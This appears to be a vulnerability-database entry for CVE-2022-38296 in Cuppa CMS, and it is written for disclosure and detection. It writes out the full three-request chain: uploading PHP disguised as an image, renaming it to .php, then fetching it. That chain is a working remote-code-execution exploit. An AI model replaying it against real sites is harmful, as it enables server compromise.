| Title | Cuppa CMS v1.0 - Arbitrary File Upload |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system. |
| Remediation | Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.82103 |
| CVE ID | CVE-2022-38296 |
| CWE ID | CWE-434 |
| Tags | cve cve2022 rce cuppa intrusive cuppacms vuln |
Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
POST /js/jquery_file_upload/server/php/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 834
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI
Accept-Encoding: gzip
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="path"
/
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="unique_name"
true
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="resize_width"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="resize_height"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="crop"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="compress"
------WebKitFormBoundary9MZjlIG8fVPjrlCI
Content-Disposition: form-data; name="files[]"; filename="test-38FBiDphbyGXGZBybZqGMRqu3IW.jpg"
Content-Type: image/jpeg
<?php
echo md5("CVE-2022-38296");
?>
------WebKitFormBoundary9MZjlIG8fVPjrlCI--
POST /js/filemanager/api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Content-Length: 78
Content-Type: application/json
Accept-Encoding: gzip
{"from":"//3Kv3YX","to":"//38FBiDphbyGXGZBybZqGMRqu3IW.php","action":"rename"}
GET /media/38FBiDphbyGXGZBybZqGMRqu3IW.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38296.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-38296.pcap
N/AN/A